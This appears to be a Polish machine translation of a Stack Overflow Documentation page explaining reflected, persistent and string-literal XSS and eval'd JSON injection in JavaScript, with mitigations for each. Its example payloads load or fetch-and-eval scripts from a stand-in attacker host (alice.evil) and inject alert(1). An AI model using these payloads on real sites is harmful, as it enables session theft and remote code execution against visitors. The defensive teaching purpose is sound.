Szukaj…


Wprowadzenie

Jest to zbiór typowych problemów bezpieczeństwa JavaScript, takich jak XSS i wstrzykiwanie eval. Ta kolekcja zawiera także sposoby łagodzenia tych problemów bezpieczeństwa.

Odbicie skryptów cross-site (XSS)

Załóżmy, że Joe jest właścicielem witryny internetowej, która umożliwia logowanie, przeglądanie filmów szczeniąt i zapisywanie ich na koncie.

Za każdym razem, gdy użytkownik wyszukuje w tej witrynie, zostaje przekierowany na https://example.com/search?q=brown+puppies .

Jeśli wyszukiwanie użytkownika nic nie pasuje, to zobaczy komunikat w następujący sposób:

Twoje wyszukiwanie ( brązowe szczenięta ) nic nie pasowało. Spróbuj ponownie.

Na backendie ten komunikat jest wyświetlany w następujący sposób:

if(!searchResults){
    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}

Jednak gdy Alice szuka <h1>headings</h1> , odzyskuje to:

Twoje wyszukiwania (

nagłówki

) nic nie pasowało. Spróbuj ponownie.

Surowy HTML:

Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

Następnie Alice szuka <script>alert(1)</script> , widzi:

Twoje wyszukiwanie () nie pasuje do niczego. Spróbuj ponownie.

I:

Pole ostrzeżenia z napisem „1”.

Następnie Alice szuka <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies i kopiuje link w swoim pasku adresu, a następnie <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies e-maile do Boba:

Kok,

Kiedy szukam ślicznych szczeniąt , nic się nie dzieje!

Następnie Alice z powodzeniem nakłania Boba do uruchomienia skryptu, gdy Bob jest zalogowany na swoje konto.

Łagodzenie:

  1. Unikaj wszystkich nawiasów kątowych w wyszukiwaniu przed zwróceniem wyszukiwanego terminu, gdy nie zostaną znalezione żadne wyniki.
  2. Nie zwracaj wyszukiwanego hasła, gdy nie zostaną znalezione żadne wyniki.
  3. Dodaj Politykę bezpieczeństwa treści, która odmawia ładowania aktywnej treści z innych domen

Trwałe skrypty cross-site (XSS)

Załóżmy, że Bob jest właścicielem serwisu społecznościowego, który umożliwia użytkownikom personalizowanie ich profili.

Alice idzie na stronę Boba, tworzy konto i przechodzi do ustawień profilu. Ustawia opis swojego profilu tak, I'm actually too lazy to write something here.

Gdy jej znajomi przeglądają jej profil, ten kod jest uruchamiany na serwerze:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

Wynikające z tego HTML:

<div>I'm actually too lazy to write something here.</div>

Następnie Alicja ustawia opis swojego profilu na <b>I like HTML</b> . Kiedy odwiedza swój profil, zamiast widzieć

<b> Lubię HTML </b>

ona widzi

Lubię HTML

Następnie Alice ustawia swój profil na

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

Za każdym razem, gdy ktoś odwiedza jej profil, skrypt Alice jest uruchamiany na stronie Boba, gdy jest zalogowany jako swoje konto.

Łagodzenie

  1. Kątowniki ucieczkowe w opisach profili itp.
  2. Przechowuj opisy profili w zwykłym pliku tekstowym, który jest następnie pobierany za pomocą skryptu, który dodaje opis poprzez .innerText
  3. Dodaj Politykę bezpieczeństwa treści, która odmawia ładowania aktywnej treści z innych domen

Trwałe skrypty między witrynami z literałów ciągów JavaScript

Załóżmy, że Bob jest właścicielem witryny, która umożliwia publikowanie wiadomości publicznych.

Wiadomości są ładowane przez skrypt, który wygląda następująco:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

Funkcja addMessage dodaje opublikowaną wiadomość do DOM. Jednak, aby uniknąć XSS, każdy HTML w opublikowanych wiadomościach jest uciekany.

Skrypt jest generowany na serwerze w następujący sposób:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

Więc Alicja publikuje wiadomość: My mom said: "Life is good. Pie makes it better. " . Następnie, gdy wyświetla podgląd wiadomości, zamiast zobaczyć wiadomość, widzi błąd w konsoli:

Uncaught SyntaxError: missing ) after argument list

Dlaczego? Ponieważ wygenerowany skrypt wygląda następująco:

addMessage("My mom said: "Life is good. Pie makes it better. "");

To błąd składniowy. Niż posty Alice:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

Następnie wygenerowany skrypt wygląda następująco:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

To dodaje komunikat „ I like pie , ale pobiera i uruchamia https://alice.evil/js_xss.js za każdym razem, gdy ktoś odwiedza witrynę Boba.

Łagodzenie:

  1. Przekaż wiadomość wysłaną do JSON.stringify ()
  2. Zamiast dynamicznie budować skrypt, zbuduj zwykły plik tekstowy zawierający wszystkie wiadomości, które są później pobierane przez skrypt
  3. Dodaj Politykę bezpieczeństwa treści, która odmawia ładowania aktywnej treści z innych domen

Dlaczego skrypty innych osób mogą zaszkodzić Twojej witrynie i jej odwiedzającym?

Jeśli nie uważasz, że złośliwe skrypty mogą zaszkodzić Twojej witrynie, jesteś w błędzie . Oto lista działań złośliwego skryptu:

  1. Usuń się z DOM, aby nie można go było prześledzić
  2. Kradnij pliki cookie sesji użytkowników i zezwól autorowi skryptu na zalogowanie się i podszywanie się pod nich
  3. Pokaż fałszywe „Twoja sesja wygasła. Zaloguj się ponownie”. wiadomość, która wysyła hasło użytkownika do autora skryptu .
  4. Zarejestruj szkodliwego pracownika serwisu, który uruchamia złośliwy skrypt przy każdej wizycie na stronie w tej witrynie.
  5. Załóż fałszywą zapłatę domagającą się, aby użytkownicy płacili pieniądze za dostęp do strony, która faktycznie trafia do autora skryptu .

Nie myśl, że XSS nie zaszkodzi Twojej witrynie i jej odwiedzającym.

Zastrzyk Evaled JSON

Powiedzmy, że ilekroć ktoś odwiedza stronę profilu w witrynie Boba, pobierany jest następujący adres URL:

https://example.com/api/users/1234/profiledata.json

Przy takiej odpowiedzi:

{
    "name": "Bob",
    "description": "Likes pie & security holes."
}

Następnie dane są analizowane i wstawiane:

var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;

Wydaje się dobre, prawda? Źle.

Co jeśli czyjś opis to Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS. ? Wydaje się dziwne, ale jeśli źle zrobione, odpowiedź będzie:

{
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}

I to będzie eval :

({
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})

Jeśli nie uważasz, że to problem, wklej to w konsoli i zobacz, co się stanie.

Mitagacja

  • Użyj JSON.parse zamiast eval, aby uzyskać JSON. Ogólnie rzecz biorąc, nie używaj eval i zdecydowanie nie używaj eval z czymś, co użytkownik może kontrolować. Eval tworzy nowy kontekst wykonania , tworząc hit wydajności .

  • Prawidłowo usuń " i \ w danych użytkownika przed umieszczeniem go w JSON. Jeśli po prostu uciekniesz od " , to się stanie:

    Hello! \"});alert(1);({
    

    Zostanie przekonwertowany na:

    "Hello! \\"});alert(1);({"
    

    Ups Pamiętaj, aby uniknąć zarówno \ i " , lub po prostu użyć JSON.parse.



Modified text is an extract of the original Stack Overflow Documentation
Licencjonowany na podstawie CC BY-SA 3.0
Nie związany z Stack Overflow